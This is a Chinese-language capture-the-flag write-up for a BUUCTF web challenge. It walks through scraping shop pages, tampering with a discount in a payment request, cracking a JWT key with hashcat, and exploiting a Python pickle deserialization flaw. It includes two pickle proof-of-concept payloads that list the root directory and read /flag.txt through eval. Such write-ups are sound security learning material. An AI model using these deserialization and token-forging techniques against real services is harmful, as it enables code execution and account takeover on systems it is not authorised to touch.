目录
前言
涉及考点
部分记录
前言
第一次看到这题时没有思路,通过搜索相关WP并简单了解考点所涉及的知识后,通过解题来扩展自己的知识面
涉及考点
python爬虫,支付逻辑漏洞,cookie篡改,重放攻击,JWT破解,垂直越权,代码审计,python反序列化漏洞
部分记录
进入页面
观察翻页时URL的变化
准备脚本来爬取lv6所在页面
py代码如下
import requests
url = "http://79500e8a-019d-417f-8e10-0ac4054f4597.node4.buuoj.cn:81/shop?page="
for i in range(0,99999):
nurl = url + str(i)
response = requests.get(nurl)
if "lv6.png" in response.text:
print(i)
break
得到结果
注册账号登录
发现余额不足
通过bp抓包修改折扣
身份验证
解码JWT
JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbGVhayJ9.oWfm4T4fIJkr0vVdwJItyOu4Eens51GuFjjzni8dTZg
hashcat
-m 指定哈希类型
-a 指定攻击模式,有5中模式
0 Straight(字典破解)
1 Combination(组合破解)
3 Brute-force(掩码暴力破解)
6 Hybrid dict + mask(混合字典+掩码)
7 Hybrid mask + dict(混合掩码+字典)
-o 输出文件
-stdout 指定基础文件
-r 指定规则文件
--force 强制进行破解
--show 显示破解结果
-V 打印出版本
-h 查看帮助
通过hashcat暴力破解得到key,构造新的JWT
进入如下页面
查看源码寻找信息
下载相应的压缩包后解压进行代码审计
Python Pickle反序列化漏洞
找到隐藏表单,修改前端代码
构造poc1
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.listdir,('/'))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
构造poc2
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
提交得到flag